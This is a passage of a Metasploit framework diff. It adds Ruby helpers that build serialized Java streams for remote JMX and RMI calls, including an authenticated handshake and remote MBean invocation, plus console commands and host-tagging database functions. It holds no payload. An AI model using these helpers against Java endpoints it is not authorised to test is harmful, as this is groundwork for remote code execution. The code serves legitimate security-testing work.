encoding=\"iso-8859-1\"?>" + xml << "<methodCall>" + xml << "<methodName>#{method_name}</methodName>" + xml << "<params>" + params.each do |p| + xml << "<param><value><string>#{p}</string></value></param>" + end + xml << "</params>" + xml << "</methodCall>" + return xml + end + +end diff --git a/lib/msf/java/jmx.rb b/lib/msf/java/jmx.rb new file mode 100644 index 0000000000..0c796daf2d --- /dev/null +++ b/lib/msf/java/jmx.rb @@ -0,0 +1,39 @@ +# -*- coding: binary -*- + +require 'rex/java/serialization' + +module Msf + module Java + module Jmx + require 'msf/java/jmx/util' + require 'msf/java/jmx/discovery' + require 'msf/java/jmx/handshake' + require 'msf/java/jmx/mbean' + + include Msf::Java::Jmx::Util + include Msf::Java::Jmx::Discovery + include Msf::Java::Jmx::Handshake + include Msf::Java::Jmx::Mbean + + def initialize(info = {}) + super + + register_options( + [ + Msf::OptString.new('JMX_ROLE', [false, 'The role to interact with an authenticated JMX endpoint']), + Msf::OptString.new('JMX_PASSWORD', [false, 'The password to interact with an authenticated JMX endpoint']) + ], HTTP::Wordpress + ) + end + + def jmx_role + datastore['JMX_ROLE'] + end + + def jmx_password + datastore['JMX_PASSWORD'] + end + + end + end +end diff --git a/lib/msf/java/jmx/discovery.rb b/lib/msf/java/jmx/discovery.rb new file mode 100644 index 0000000000..d956a9fdaf --- /dev/null +++ b/lib/msf/java/jmx/discovery.rb @@ -0,0 +1,29 @@ +# -*- coding: binary -*- + +module Msf + module Java + module Jmx + # This module provides methods which help to handle JMX end points discovery + module Discovery + # Builds a Rex::Java::Serialization::Model::Stream to discover + # an JMX RMI endpoint + # + # @return [Rex::Java::Serialization::Model::Stream] + def discovery_stream + obj_id = "\x00" * 22 # Padding since there isn't an UnicastRef ObjId to use still + + block_data = Rex::Java::Serialization::Model::BlockData.new( + nil, + "#{obj_id}\x00\x00\x00\x02\x44\x15\x4d\xc9\xd4\xe6\x3b\xdf" + ) + + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents << block_data + stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'jmxrmi') + + stream + end + end + end + end +end diff --git a/lib/msf/java/jmx/handshake.rb b/lib/msf/java/jmx/handshake.rb new file mode 100644 index 0000000000..36453849b2 --- /dev/null +++ b/lib/msf/java/jmx/handshake.rb @@ -0,0 +1,56 @@ +# -*- coding: binary -*- + +module Msf + module Java + module Jmx + # This module provides methods which help to handle a JMX handshake + module Handshake + + # Builds a Rex::Java::Serialization::Model::Stream to make + # a JMX handshake with an endpoint + # + # @param id [String] The endpoint UnicastRef ObjId + # @return [Rex::Java::Serialization::Model::Stream] + def handshake_stream(obj_id) + block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\xf0\xe0\x74\xea\xad\x0c\xae\xa8") + + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents << block_data + + if jmx_role + username = jmx_role + password = jmx_password || '' + + stream.contents << auth_array_stream(username, password) + else + stream.contents << Rex::Java::Serialization::Model::NullReference.new + end + + stream + end + + # Builds a Rex::Java::Serialization::Model::NewArray with credentials + # to make an authenticated handshake + # + # @param username [String] The username (role) to authenticate with + # @param password [String] The password to authenticate with + # @return [Rex::Java::Serialization::Model::NewArray] + def auth_array_stream(username, password) + builder = Rex::Java::Serialization::Builder.new + + auth_array = builder.new_array( + name: '[Ljava.lang.String;', + serial: 0xadd256e7e91d7b47, # serialVersionUID + values_type: 'java.lang.String;', + values: [ + Rex::Java::Serialization::Model::Utf.new(nil, username), + Rex::Java::Serialization::Model::Utf.new(nil, password) + ] + ) + + auth_array + end + end + end + end +end diff --git a/lib/msf/java/jmx/mbean.rb b/lib/msf/java/jmx/mbean.rb new file mode 100644 index 0000000000..0956316b32 --- /dev/null +++ b/lib/msf/java/jmx/mbean.rb @@ -0,0 +1,13 @@ +# -*- coding: binary -*- + +module Msf + module Java + module Jmx + module Mbean + require 'msf/java/jmx/mbean/server_connection' + + include Msf::Java::Jmx::Mbean::ServerConnection + end + end + end +end diff --git a/lib/msf/java/jmx/mbean/server_connection.rb b/lib/msf/java/jmx/mbean/server_connection.rb new file mode 100644 index 0000000000..33622546f9 --- /dev/null +++ b/lib/msf/java/jmx/mbean/server_connection.rb @@ -0,0 +1,155 @@ +# -*- coding: binary -*- + +module Msf + module Java + module Jmx + module Mbean + # This module provides methods which help to handle with MBean related calls. + # Specially, simulating calls with the Java javax.management.MBeanServerConnection + # class + module ServerConnection + + # Builds a Rex::Java::Serialization::Model::Stream to simulate a call + # to the createMBean method. + # + # @param opts [Hash{Symbol => String}] + # @option opts [String] :obj_id the jmx endpoint ObjId + # @option opts [String] :name the name of the MBean + # @return [Rex::Java::Serialization::Model::Stream] + def create_mbean_stream(opts = {}) + obj_id = opts[:obj_id] || "\x00" * 22 + name = opts[:name] || '' + block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\x22\xd7\xfd\x4a\x90\x6a\xc8\xe6") + + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents << block_data + stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, name) + stream.contents << Rex::Java::Serialization::Model::NullReference.new + stream.contents << Rex::Java::Serialization::Model::NullReference.new + + stream + end + + # Builds a Rex::Java::Serialization::Model::Stream to simulate a call to the + # Java getObjectInstance method. + # + # @param opts [Hash{Symbol => String}] + # @option opts [String] :obj_id the jmx endpoint ObjId + # @option opts [String] :name the name of the MBean + # @return [Rex::Java::Serialization::Model::Stream] + def get_object_instance_stream(opts = {}) + obj_id = opts[:obj_id] || "\x00" * 22 + name = opts[:name] || '' + + builder = Rex::Java::Serialization::Builder.new + + block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\x60\x73\xb3\x36\x1f\x37\xbd\xc2") + + new_object = builder.new_object( + name: 'javax.management.ObjectName', + serial: 0xf03a71beb6d15cf, # serialVersionUID + flags: 3 + ) + + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents << block_data + stream.contents << new_object + stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, name) + stream.contents << Rex::Java::Serialization::Model::EndBlockData.new + stream.contents << Rex::Java::Serialization::Model::NullReference.new + + stream + end + + # Builds a Rex::Java::Serialization::Model::Stream to simulate a call + # to the Java invoke method. + # + # @param opts [Hash{Symbol => String}] + # @option opts [String] :obj_id the jmx endpoint ObjId + # @option opts [String] :object the object whose method we want to call + # @option opts [String] :method the method name to invoke + # @option opts [String] :args the arguments of the method to invoke + # @return [Rex::Java::Serialization::Model::Stream] + def invoke_stream(opts = {}) + obj_id = opts[:obj_id] || "\x00" * 22 + object_name = opts[:object] || '' + method_name = opts[:method] || '' + arguments = opts[:args] || {} + builder = Rex::Java::Serialization::Builder.new + + block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\x13\xe7\xd6\x94\x17\xe5\xda\x20") + + new_object = builder.new_object( + name: 'javax.management.ObjectName', + serial: 0xf03a71beb6d15cf, # serialVersionUID + flags: 3 + ) + + data_binary = builder.new_array( + name: '[B', + serial: 0xacf317f8060854e0, # serialVersionUID + values_type: 'byte', + values: invoke_arguments_stream(arguments).encode.unpack('C*') + ) + + marshall_object = builder.new_object( + name: 'java.rmi.MarshalledObject', + serial: 0x7cbd1e97ed63fc3e, # serialVersionUID + fields: [ + ['int', 'hash'], + ['array', 'locBytes', '[B'], + ['array', 'objBytes', '[B'] + ], + data: [ + ["int", 1919492550], + Rex::Java::Serialization::Model::NullReference.new, + data_binary + ] + ) + + new_array = builder.new_array( + name: '[Ljava.lang.String;', + serial: 0xadd256e7e91d7b47, # serialVersionUID + values_type: 'java.lang.String;', + values: arguments.keys.collect { |k| Rex::Java::Serialization::Model::Utf.new(nil, k) } + ) + + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents << block_data + stream.contents << new_object + stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, object_name) + stream.contents << Rex::Java::Serialization::Model::EndBlockData.new + stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, method_name) + stream.contents << marshall_object + stream.contents << new_array + stream.contents << Rex::Java::Serialization::Model::NullReference.new + + stream + end + + # Builds a Rex::Java::Serialization::Model::Stream with the arguments to + # simulate a call to the Java invoke method method. + # + # @param args [Hash] the arguments of the method to invoke + # @return [Rex::Java::Serialization::Model::Stream] + def invoke_arguments_stream(args = {}) + builder = Rex::Java::Serialization::Builder.new + + new_array = builder.new_array( + name: '[Ljava.lang.Object;', + serial: 0x90ce589f1073296c, # serialVersionUID + annotations: [Rex::Java::Serialization::Model::EndBlockData.new], + values_type: 'java.lang.Object;', + values: args.values.collect { |arg| Rex::Java::Serialization::Model::Utf.new(nil, arg) } + ) + + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents << new_array + + stream + end + end + end + end + end +end diff --git a/lib/msf/java/jmx/util.rb b/lib/msf/java/jmx/util.rb new file mode 100644 index 0000000000..6bac21c0a1 --- /dev/null +++ b/lib/msf/java/jmx/util.rb @@ -0,0 +1,89 @@ +# -*- coding: binary -*- + +module Msf + module Java + module Jmx + # This module provides methods which help to handle data + # used by Java JMX + module Util + + # Extracts a Rex::Java::Serialization::Model::NewObject from + # a Rex::Java::Serialization::Model::Stream + # + # @param stream [Rex::Java::Serialization::Model::Stream] the stream to extract the object from + # @param id [Fixnum] the content position storing the object + # @return [Rex::Java::Serialization::Model::NewObject, nil] the extracted object if success, nil otherwise + def extract_object(stream, id) + new_object = nil + + if stream.contents[id] + new_object = stream.contents[id] + else + return nil + end + + unless new_object.class == Rex::Java::Serialization::Model::NewObject + return nil + end + + new_object.class_desc.description.class_name.contents + end + + # Extracts an string from an IO + # + # @param io [IO] the io to extract the string from + # @return [String, nil] the extracted string if success, nil otherwise + def extract_string(io) + raw_length = io.read(2) + unless raw_length && raw_length.length == 2 + return nil + end + length = raw_length.unpack('n')[0] + + string = io.read(length) + unless string && string.length == length + return nil + end + + string + end + + # Extracts an int from an IO + # + # @param io [IO] the io to extract the int from + # @return [Fixnum, nil] the extracted int if success, nil otherwise + def extract_int(io) + int_raw = io.read(4) + unless int_raw && int_raw.length == 4 + return nil + end + int = int_raw.unpack('N')[0] + + int + end + + # Extracts an UnicastRef (endpoint) information from an IO + # + # @param io [IO] the io to extract the int from + # @return [Hash, nil] the extracted int if success, nil otherwise + def extract_unicast_ref(io) + ref = extract_string(io) + unless ref && ref == 'UnicastRef' + return nil + end + + address = extract_string(io) + return nil unless address + + port = extract_int(io) + return nil unless port + + id = io.read + + { address: address, port: port, id: id } + end + + end + end + end +end diff --git a/lib/msf/java/rmi/client.rb b/lib/msf/java/rmi/client.rb new file mode 100644 index 0000000000..f4e4ea5bc0 --- /dev/null +++ b/lib/msf/java/rmi/client.rb @@ -0,0 +1,137 @@ +# -*- coding: binary -*- +require 'rex/proto/rmi' +require 'rex/java/serialization' +require 'stringio' + +module Msf + module Java + module Rmi + module Client + + require 'msf/java/rmi/client/streams' + + include Msf::Java::Rmi::Client::Streams + include Exploit::Remote::Tcp + + # Returns the target host + # + # @return [String] + def rhost + datastore['RHOST'] + end + + # Returns the target port + # + # @return [Fixnum] + def rport + datastore['RPORT'] + end + + # Returns the RMI server peer + # + # @return [String] + def peer + "#{rhost}:#{rport}" + end + + # Sends a RMI header stream + # + # @param opts [Hash] + # @option opts [Rex::Socket::Tcp] :sock + # @return [Fixnum] the number of bytes sent + # @see Msf::Rmi::Client::Streams#build_header + def send_header(opts = {}) + nsock = opts[:sock] || sock + stream = build_header(opts) + nsock.put(stream.encode + "\x00\x00\x00\x00\x00\x00") + end + + # Sends a RMI CALL stream + # + # @param opts [Hash] + # @option opts [Rex::Socket::Tcp] :sock + # @return [Fixnum] the number of bytes sent + # @see Msf::Rmi::Client::Streams#build_call + def send_call(opts = {}) + nsock = opts[:sock] || sock + stream = build_call(opts) + nsock.put(stream.encode) + end + + # Sends a RMI DGCACK stream + # + # @param opts [Hash] + # @option opts [Rex::Socket::Tcp] :sock + # @return [Fixnum] the number of bytes sent + # @see Msf::Rmi::Client::Streams#build_dgc_ack + def send_dgc_ack(opts = {}) + nsock = opts[:sock] || sock + stream = build_dgc_ack(opts) + nsock.put(stream.encode) + end + + # Reads the Protocol Ack + # + # @param opts [Hash] + # @option opts [Rex::Socket::Tcp] :sock + # @return [Rex::Proto::Rmi::Model::ProtocolAck] + # @see Rex::Proto::Rmi::Model::ProtocolAck.decode + def recv_protocol_ack(opts = {}) + nsock = opts[:sock] || sock + data = safe_get_once(nsock) + begin + ack = Rex::Proto::Rmi::Model::ProtocolAck.decode(StringIO.new(data)) + rescue ::RuntimeError + return nil + end + + ack + end + + # Reads a ReturnData message and returns the java serialized stream + # with the return data value. + # + # @param opts [Hash] + # @option opts [Rex::Socket::Tcp] :sock + # @return [Rex::Java::Serialization::Stream] + # @see Rex::Proto::Rmi::Model::ReturnData.decode + def recv_return(opts = {}) + nsock = opts[:sock] || sock + data = safe_get_once(nsock) + begin + return_data = Rex::Proto::Rmi::Model::ReturnData.decode(StringIO.new(data)) + rescue ::RuntimeError + return nil + end + + return_data.return_value + end + + # Helper method to read fragmented data from a ```Rex::Socket::Tcp``` + # + # @param opts [Hash] + # @option opts [Rex::Socket::Tcp] :sock + def safe_get_once(nsock = sock) + data = '' + begin + res = nsock.get_once + rescue ::EOFError + res = nil + end + + until res.nil? || res.length < 1448 + data << res + begin + res = nsock.get_once + rescue ::EOFError + res = nil + end + end + + data << res if res + data + end + end + end + end +end diff --git a/lib/msf/java/rmi/client/streams.rb b/lib/msf/java/rmi/client/streams.rb new file mode 100644 index 0000000000..215e4b0a8e --- /dev/null +++ b/lib/msf/java/rmi/client/streams.rb @@ -0,0 +1,70 @@ +# -*- coding: binary -*- + +require 'rex/java/serialization' + +module Msf + module Java + module Rmi + module Client + module Streams + + # Builds a RMI header stream + # + # @param opts [Hash{Symbol => <String, Fixnum>}] + # @option opts [String] :signature + # @option opts [Fixnum] :version + # @option opts [Fixnum] :protocol + # @return [Rex::Proto::Rmi::Model::OutputHeader] + def build_header(opts = {}) + signature = opts[:signature] || Rex::Proto::Rmi::Model::SIGNATURE + version = opts[:version] || 2 + protocol = opts[:protocol] || Rex::Proto::Rmi::Model::STREAM_PROTOCOL + + header = Rex::Proto::Rmi::Model::OutputHeader.new( + signature: signature, + version: version, + protocol: protocol) + + header + end + + # Builds a RMI call stream + # + # @param opts [Hash{Symbol => <Fixnum, Rex::Java::Serialization::Model::Stream>}] + # @option opts [Fixnum] :message_id + # @option opts [Rex::Java::Serialization::Model::Stream] :call_data + # @return [Rex::Proto::Rmi::Model::Call] + def build_call(opts = {}) + message_id = opts[:message_id] || Rex::Proto::Rmi::Model::CALL_MESSAGE + call_data = opts[:call_data] || Rex::Java::Serialization::Model::Stream.new + + call = Rex::Proto::Rmi::Model::Call.new( + message_id: message_id, + call_data: call_data + ) + + call + end + + # Builds a RMI dgc ack stream + # + # @param opts [Hash{Symbol => <Fixnum, String>}] + # @option opts [Fixnum] :stream_id + # @option opts [String] :unique_identifier + # @return [Rex::Proto::Rmi::Model::DgcAck] + def build_dgc_ack(opts = {}) + stream_id = opts[:stream_id] || Rex::Proto::Rmi::Model::DGC_ACK_MESSAGE + unique_identifier = opts[:unique_identifier] || "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + dgc_ack = Rex::Proto::Rmi::Model::DgcAck.new( + stream_id: stream_id, + unique_identifier: unique_identifier + ) + + dgc_ack + end + end + end + end + end +end diff --git a/lib/msf/kerberos/client/cache_credential.rb b/lib/msf/kerberos/client/cache_credential.rb index 5553970708..e7295c6ae7 100644 --- a/lib/msf/kerberos/client/cache_credential.rb +++ b/lib/msf/kerberos/client/cache_credential.rb @@ -33,7 +33,7 @@ module Msf # Builds a MIT Credential Cache principal # - # @param opts [Hash<{Symbol => <Fixnum, String, Array<String>}>] + # @param opts [Hash<{Symbol => <Fixnum, String, Array<String>>}>] # @option opts [Fixnum] :name_type # @option opts [String] :realm # @option opts [Array<String>] :components diff --git a/lib/msf/ui/banner.rb b/lib/msf/ui/banner.rb index d35e8ce2f6..b6368ea437 100644 --- a/lib/msf/ui/banner.rb +++ b/lib/msf/ui/banner.rb @@ -28,7 +28,7 @@ module Banner fdata = "<< Missing banner: #{pathname} >>" begin raise ArgumentError unless File.readable?(pathname) - raise ArgumentError unless File.stat(pathname).size < 4096 + raise ArgumentError unless File.stat(pathname).size < 16384 fdata = File.open(pathname) {|f| f.read f.stat.size} rescue SystemCallError, ArgumentError nil @@ -47,6 +47,8 @@ module Banner # Easter egg (always a halloween themed logo): export/set THISISHALLOWEEN=1 elsif ( ENV['THISISHALLOWEEN'] || Time.now.strftime("%m%d") == "1031" ) logos.concat(Dir.glob(::Msf::Config.logos_directory + File::SEPARATOR + '*.hwtxt')) + elsif ( ENV['APRILFOOLSPONIES'] || Time.now.strftime("%m%d") == "0401" ) + logos.concat(Dir.glob(::Msf::Config.logos_directory + File::SEPARATOR + '*.aftxt')) else logos.concat(Dir.glob(::Msf::Config.logos_directory + File::SEPARATOR + '*.txt')) logos.concat(Dir.glob(::Msf::Config.user_logos_directory + File::SEPARATOR + '*.txt')) diff --git a/lib/msf/ui/console/command_dispatcher/auxiliary.rb b/lib/msf/ui/console/command_dispatcher/auxiliary.rb index a150885767..b667c6367c 100644 --- a/lib/msf/ui/console/command_dispatcher/auxiliary.rb +++ b/lib/msf/ui/console/command_dispatcher/auxiliary.rb @@ -120,17 +120,12 @@ class Auxiliary print_error("Auxiliary interrupted by the console user") rescue ::Exception => e print_error("Auxiliary failed: #{e.class} #{e}") - elog("Auxiliary failed: #{e.class} #{e}", 'core', LEV_0) - - if e.kind_of?(Msf::OptionValidateError) - dlog("Call stack:\n#{e.backtrace.join("\n")}", 'core', LEV_3) - else + if(e.class.to_s != 'Msf::OptionValidateError') print_error("Call stack:") e.backtrace.each do |line| break if line =~ /lib.msf.base.simple/ print_error(" #{line}") end - elog("Call stack:\n#{e.backtrace.join("\n")}", 'core', LEV_0) end return false @@ -157,3 +152,4 @@ class Auxiliary end end end end end + diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index eb5601fd42..45305ae514 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -101,48 +101,54 @@ class Core # Constant for disclosure date formatting in search functions DISCLOSURE_DATE_FORMAT = "%Y-%m-%d" + # Constant for a retry timeout on using modules before they're loaded + CMD_USE_TIMEOUT = 3 + # Returns the list of commands supported by this command dispatcher def commands { - "?" => "Help menu", - "back" => "Move back from the current context", - "banner" => "Display an awesome metasploit banner", - "cd" => "Change the current working directory", - "connect" => "Communicate with a host", - "color" => "Toggle color", - "exit" => "Exit the console", - "edit" => "Edit the current module with $VISUAL or $EDITOR", - "go_pro" => "Launch Metasploit web GUI", - "grep" => "Grep the output of another command", - "help" => "Help menu", - "info" => "Displays information about one or more module", - "irb" => "Drop into irb scripting mode", - "jobs" => "Displays and manages jobs", - "kill" => "Kill a job", - "load" => "Load a framework plugin", - "loadpath" => "Searches for and loads modules from a path", - "popm" => "Pops the latest module off the stack and makes it active", - "pushm" => "Pushes the active or list of modules onto the module stack", - "previous" => "Sets the previously loaded module as the current module", - "quit" => "Exit the console", - "resource" => "Run the commands stored in a file", - "makerc" => "Save commands entered since start to a file", + "?" => "Help menu", + "back" => "Move back from the current context", + "banner" => "Display an awesome metasploit banner", + "cd" => "Change the current working directory", + "connect" => "Communicate with a host", + "color" => "Toggle color", + "exit" => "Exit the console", + "edit" => "Edit the current module with $VISUAL or $EDITOR", + "get" => "Gets the value of a context-specific variable", + "getg" => "Gets the value of a global variable", + "go_pro" => "Launch Metasploit web GUI", + "grep" => "Grep the output of another command", + "help" => "Help menu", + "info" => "Displays information about one or more module", + "irb" => "Drop into irb scripting mode", + "jobs" => "Displays and manages jobs", + "rename_job" => "Rename a job", + "kill" => "Kill a job", + "load" => "Load a framework plugin", + "loadpath" => "Searches for and loads modules from a path", + "popm" => "Pops the latest module off the stack and makes it active", + "pushm" => "Pushes the active or list of modules onto the module stack", + "previous" => "Sets the previously loaded module as the current module", + "quit" => "Exit the console", + "resource" => "Run the commands stored in a file", + "makerc" => "Save commands entered since start to a file", "reload_all" => "Reloads all modules from all defined module paths", - "route" => "Route traffic through a session", - "save" => "Saves the active datastores", - "search" => "Searches module names and descriptions", - "sessions" => "Dump session listings and display information about sessions", - "set" => "Sets a variable to a value", - "setg" => "Sets a global variable to a value", - "show" => "Displays modules of a given type, or all modules", - "sleep" => "Do nothing for the specified number of seconds", - "threads" => "View and manipulate background threads", - "unload" => "Unload a framework plugin", - "unset" => "Unsets one or more variables", - "unsetg" => "Unsets one or more global variables", - "use" => "Selects a module by name", - "version" => "Show the framework and console library version numbers", - "spool" => "Write console output into a file as well the screen" + "route" => "Route traffic through a session", + "save" => "Saves the active datastores", + "search" => "Searches module names and descriptions", + "sessions" => "Dump session listings and display information about sessions", + "set" => "Sets a context-specific variable to a value", + "setg" => "Sets a global variable to a value", + "show" => "Displays modules of a given type, or all modules", + "sleep" => "Do nothing for the specified number of seconds", + "threads" => "View and manipulate background threads", + "unload" => "Unload a framework plugin", + "unset" => "Unsets one or more context-specific variables", + "unsetg" => "Unsets one or more global variables", + "use" => "Selects a module by name", + "version" => "Show the framework and console library version numbers", + "spool" => "Write console output into a file as well the screen" } end @@ -237,16 +243,16 @@ class Core args.each do |res| good_res = nil - if (File.file? res and File.readable? res) + if ::File.exists?(res) good_res = res elsif # let's check to see if it's in the scripts/resource dir (like when tab completed) [ - ::Msf::Config.script_directory + File::SEPARATOR + "resource", - ::Msf::Config.user_script_directory + File::SEPARATOR + "resource" + ::Msf::Config.script_directory + ::File::SEPARATOR + "resource", + ::Msf::Config.user_script_directory + ::File::SEPARATOR + "resource" ].each do |dir| - res_path = dir + File::SEPARATOR + res - if (File.file?(res_path) and File.readable?(res_path)) + res_path = dir + ::File::SEPARATOR + res + if ::File.exists?(res_path) good_res = res_path break end @@ -775,6 +781,50 @@ class Core end end + def cmd_rename_job_help + print_line "Usage: rename_job [ID] [Name]" + print_line + print_line "Example: rename_job 0 \"meterpreter HTTPS special\"" + print_line + print_line "Rename a job that's currently active." + print_line "You may use the jobs command to see what jobs are available." + print_line + end + + def cmd_rename_job(*args) + if args.include?('-h') || args.length != 2 || args[0] !~ /^\d+$/ + cmd_rename_job_help + return false + end + + job_id = args[0].to_s + job_name = args[1].to_s + + unless framework.jobs[job_id] + print_error("Job #{job_id} does not exist.") + return false + end + + # This is not respecting the Protected access control, but this seems to be the only way + # to rename a job. If you know a more appropriate way, patches accepted. + framework.jobs[job_id].send(:name=, job_name) + print_status("Job #{job_id} updated") + + true + end + + # + # Tab completion for the rename_job command + # + # @param str [String] the string currently being typed before tab was hit + # @param words [Array<String>] the previously completed words on the command line. words is always + # at least 1 when tab completion has reached this stage since the command itself has been completed + + def cmd_rename_job_tabs(str, words) + return [] if words.length > 1 + framework.jobs.keys + end + def cmd_jobs_help print_line "Usage: jobs [options]" print_line @@ -2295,6 +2345,81 @@ class Core return tabs end + def cmd_get_help + print_line "Usage: get var1 [var2 ...]" + print_line + print_line "The get command is used to get the value of one or more variables." + print_line + end + + # + # Gets a value if it's been set. + # + def cmd_get(*args) + + # Figure out if these are global variables + global = false + + if (args[0] == '-g') + args.shift + global = true + end + + # No arguments? No cookie. + if args.empty? + global ? cmd_getg_help : cmd_get_help + return false + end + + # Determine which data store we're operating on + if (active_module && !global) + datastore = active_module.datastore + else + datastore = framework.datastore + end + + args.each { |var| print_line("#{var} => #{datastore[var]}") } + end + + # + # Tab completion for the get command + # + # @param str [String] the string currently being typed before tab was hit + # @param words [Array<String>] the previously completed words on the command line. words is always + # at least 1 when tab completion has reached this stage since the command itself has been completed + + def cmd_get_tabs(str, words) + datastore = active_module ? active_module.datastore : self.framework.datastore + datastore.keys + end + + def cmd_getg_help + print_line "Usage: getg var1 [var2 ...]" + print_line + print_line "Exactly like get -g, get global variables" + print_line + end + + # + # Gets variables in the global data store. + # + def cmd_getg(*args) + args.unshift('-g') + + cmd_get(*args) + end + + # + # Tab completion for the getg command + # + # @param str [String] the string currently being typed before tab was hit + # @param words [Array<String>] the previously completed words on the command line. words is always + # at least 1 when tab completion has reached this stage since the command itself has been completed + + def cmd_getg_tabs(str, words) + self.framework.datastore.keys + end + def cmd_unset_help print_line "Usage: unset [-g] var1 var2 var3 ..." print_line @@ -2418,9 +2543,15 @@ class Core mod_name = args[0] begin - if ((mod = framework.modules.create(mod_name)) == nil) - print_error("Failed to load module: #{mod_name}") - return false + mod = framework.modules.create(mod_name) + unless mod + # Try one more time; see #4549 + sleep CMD_USE_TIMEOUT + mod = framework.modules.create(mod_name) + unless mod + print_error("Failed to load module: #{mod_name}") + return false + end end rescue Rex::AmbiguousArgumentError => info print_error(info.to_s) @@ -2834,73 +2965,79 @@ class Core res = [] res << o.default.to_s if o.default - case o.class.to_s - - when 'Msf::OptAddress' - case o.name.upcase - when 'RHOST' - option_values_target_addrs().each do |addr| - res << addr - end - when 'LHOST' - rh = self.active_module.datastore["RHOST"] - if rh and not rh.empty? - res << Rex::Socket.source_address(rh) - else - res << Rex::Socket.source_address() - end - else + case o + when Msf::OptAddress + case o.name.upcase + when 'RHOST' + option_values_target_addrs().each do |addr| + res << addr end - - when 'Msf::OptAddressRange' - case str - when /^file:(.*)/ - files = tab_complete_filenames($1, words) - res += files.map { |f| "file:" + f } if files - when /\/$/ - res << str+'32' - res << str+'24' - res << str+'16' - when /\-$/ - res << str+str[0, str.length - 1] - else - option_values_target_addrs().each do |addr| - res << addr+'/32' - res << addr+'/24' - res << addr+'/16' - end - end - - when 'Msf::OptPort' - case o.name.upcase - when 'RPORT' - option_values_target_ports().each do |port| - res << port + when 'LHOST' + rh = self.active_module.datastore['RHOST'] || framework.datastore['RHOST'] + if rh and not rh.empty? + res << Rex::Socket.source_address(rh) + else + res << Rex::Socket.source_address + # getifaddrs was introduced in 2.1.2 + if Socket.respond_to?(:getifaddrs) + ifaddrs = Socket.getifaddrs.find_all { |ifaddr| + ((ifaddr.flags & Socket::IFF_LOOPBACK) == 0) && ifaddr.addr.ip? + } + res += ifaddrs.map { |ifaddr| ifaddr.addr.ip_address } end end + else + end - if (res.empty?) - res << (rand(65534)+1).to_s + when Msf::OptAddressRange + case str + when /^file:(.*)/ + files = tab_complete_filenames($1, words) + res += files.map { |f| "file:" + f } if files + when /\/$/ + res << str+'32' + res << str+'24' + res << str+'16' + when /\-$/ + res << str+str[0, str.length - 1] + else + option_values_target_addrs().each do |addr| + res << addr+'/32' + res << addr+'/24' + res << addr+'/16' end + end - when 'Msf::OptEnum' - o.enums.each do |val| - res << val + when Msf::OptPort + case o.name.upcase + when 'RPORT' + option_values_target_ports().each do |port| + res << port end + end - when 'Msf::OptPath' - files = tab_complete_filenames(str, words) - res += files if files + if (res.empty?) + res << (rand(65534)+1).to_s + end - when 'Msf::OptBool' - res << 'true' - res << 'false' + when Msf::OptEnum + o.enums.each do |val| + res << val + end - when 'Msf::OptString' - if (str =~ /^file:(.*)/) - files = tab_complete_filenames($1, words) - res += files.map { |f| "file:" + f } if files - end + when Msf::OptPath + files = tab_complete_filenames(str, words) + res += files if files + + when Msf::OptBool + res << 'true' + res << 'false' + + when Msf::OptString + if (str =~ /^file:(.*)/) + files = tab_complete_filenames($1, words) + res += files.map { |f| "file:" + f } if files + end end return res diff --git a/lib/msf/ui/console/command_dispatcher/db.rb b/lib/msf/ui/console/command_dispatcher/db.rb index 8d20535feb..b09cfd9450 100644 --- a/lib/msf/ui/console/command_dispatcher/db.rb +++ b/lib/msf/ui/console/command_dispatcher/db.rb @@ -68,6 +68,10 @@ class Db ] end + def allowed_cred_types + %w(password ntlm hash) + end + # # Returns true if the db is connected, prints an error and returns # false if not. @@ -215,12 +219,104 @@ class Db cmd_hosts("-h") end + def change_host_info(rws, data) + if rws == [nil] + print_error("In order to change the host info, you must provide a range of hosts") + return + end + + rws.each do |rw| + rw.each do |ip| + id = framework.db.get_host(:address => ip).id + framework.db.hosts.update(id, :info => data) + framework.db.report_note(:host => ip, :type => 'host.info', :data => data) + end + end + end + + def change_host_name(rws, data) + if rws == [nil] + print_error("In order to change the host name, you must provide a range of hosts") + return + end + + rws.each do |rw| + rw.each do |ip| + id = framework.db.get_host(:address => ip).id + framework.db.hosts.update(id, :name => data) + framework.db.report_note(:host => ip, :type => 'host.name', :data => data) + end + end + end + + def change_host_comment(rws, data) + if rws == [nil] + print_error("In order to change the comment, you must provide a range of hosts") + return + end + + rws.each do |rw| + rw.each do |ip| + id = framework.db.get_host(:address => ip).id + framework.db.hosts.update(id, :comments => data) + framework.db.report_note(:host => ip, :type => 'host.comments', :data => data) + end + end + end + + def add_host_tag(rws, tag_name) + if rws == [nil] + print_error("In order to add a tag, you must provide a range of hosts") + return + end + + rws.each do |rw| + rw.each do |ip| + wspace = framework.db.workspace + host = framework.db.get_host(:workspace => wspace, :address => ip) + if host + possible_tags = Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and hosts.address = ? and tags.name = ?", wspace.id, ip, tag_name).order("tags.id DESC").limit(1) + tag = (possible_tags.blank? ? Mdm::Tag.new : possible_tags.first) + tag.name = tag_name + tag.hosts = [host] + tag.save! if tag.changed? + end + end + end + end + + def delete_host_tag(rws, tag_name) + wspace = framework.db.workspace + tag_ids = [] + if rws == [nil] + found_tags = Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and tags.name = ?", wspace.id, tag_name) + found_tags.each do |t| + tag_ids << t.id + end + else + rws.each do |rw| + rw.each do |ip| + found_tags = 